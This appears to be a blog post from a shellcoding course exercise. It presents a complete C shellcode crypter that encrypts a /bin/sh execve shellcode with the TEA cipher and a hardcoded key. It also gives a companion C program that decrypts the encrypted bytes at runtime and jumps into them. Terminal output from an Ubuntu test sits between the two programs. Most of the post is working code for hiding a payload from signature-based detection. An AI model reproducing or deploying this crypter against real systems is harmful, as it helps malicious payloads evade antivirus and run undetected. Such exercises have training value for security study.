The reference code is from wikipedia. I implemented it in c to leverage the languages' speed. I used the basic /bin/sh shell-code to test the crypter. I tested it on an Ubuntu system.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <string.h> | |
void encrypt (uint32_t* v, uint32_t* k); | |
void decrypt (uint32_t* v, uint32_t* k); | |
void encryptBlock(uint8_t * data, uint32_t * len, uint32_t * key); | |
void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key); | |
uint32_t TEAKey[4] = {0x68697071, 0x65646172, 0x6d6f635f, 0x6c697665}; | |
uint8_t shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; | |
int main() | |
{ | |
uint32_t* len; | |
uint32_t shellcode_len = 0; | |
uint32_t counter = 0; | |
shellcode_len = strlen(shellcode); | |
len = &shellcode_len; | |
encryptBlock(shellcode, len, TEAKey); | |
puts("\nEncrypted:"); | |
for(counter = 0; counter < shellcode_len; counter++) | |
printf("\\x%02x", shellcode[counter]); | |
printf("\nLength: %d\n", shellcode_len); | |
return 0; | |
} | |
void encryptBlock(uint8_t * data, uint32_t * len, uint32_t * key) | |
{ | |
uint32_t blocks, i; | |
uint32_t * data32; | |
// treat the data as 32 bit unsigned integers | |
data32 = (uint32_t *) data; | |
// Find the number of 8 byte blocks, add one for the length | |
blocks = (((*len) + 7) / 8) + 1; | |
// Set the last block to the original data length | |
data32[(blocks*2) - 1] = *len; | |
// Set the encrypted data length | |
*len = blocks * 8; | |
for(i = 0; i< blocks; i++) | |
{ | |
encrypt(&data32[i*2], key); | |
} | |
} | |
void encrypt (uint32_t* v, uint32_t* k) { | |
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ | |
uint32_t delta=0x9e3779b9; /* a key schedule constant */ | |
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ | |
for (i=0; i < 32; i++) { /* basic cycle start */ | |
sum += delta; | |
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); | |
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); | |
} /* end cycle */ | |
v[0]=v0; v[1]=v1; | |
} |
roman@ubuntu:~/SLAE/Shellcode/Crypter$ ./TEA Encrypted: \x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33 \xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd Length: 40
We then paste the above shell-code into another c program which will execute the shellcode. Make sure the key you use in this program (lets call it TEAExecuteshellcode.c) is the same as the one you used in TEA.c So what this program basically does is run the decryption algorithm on the shellcode and then executes it.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <string.h> | |
void decrypt (uint32_t* v, uint32_t* k); | |
void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key); | |
uint32_t TEAKey[4] = {0x68697071, 0x65646172, 0x6d6f635f, 0x6c697665}; | |
uint8_t shellcode[] = "\x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33\xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd"; | |
int main() | |
{ | |
uint32_t* len; | |
uint32_t shellcode_len = 0; | |
uint32_t counter = 0; | |
shellcode_len = strlen(shellcode); | |
len = &shellcode_len; | |
decryptBlock(shellcode, len, TEAKey); | |
puts("\nDecrypting and running Shellcode:"); | |
int (*ret)() = (int(*)())shellcode; | |
ret(); | |
} | |
void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key) | |
{ | |
uint32_t blocks, i; | |
uint32_t * data32; | |
// treat the data as 32 bit unsigned integers | |
data32 = (uint32_t *) data; | |
// Find the number of 8 byte blocks | |
blocks = (*len)/8; | |
for(i = 0; i< blocks; i++) | |
{ | |
decrypt(&data32[i*2], key); | |
} | |
// Return the length of the original data | |
*len = data32[(blocks*2) - 1]; | |
} | |
void decrypt (uint32_t* v, uint32_t* k) { | |
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ | |
uint32_t delta=0x9e3779b9; /* a key schedule constant */ | |
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ | |
for (i=0; i<32; i++) { /* basic cycle start */ | |
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); | |
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); | |
sum -= delta; | |
} /* end cycle */ | |
v[0]=v0; v[1]=v1; | |
} |
No comments:
Post a Comment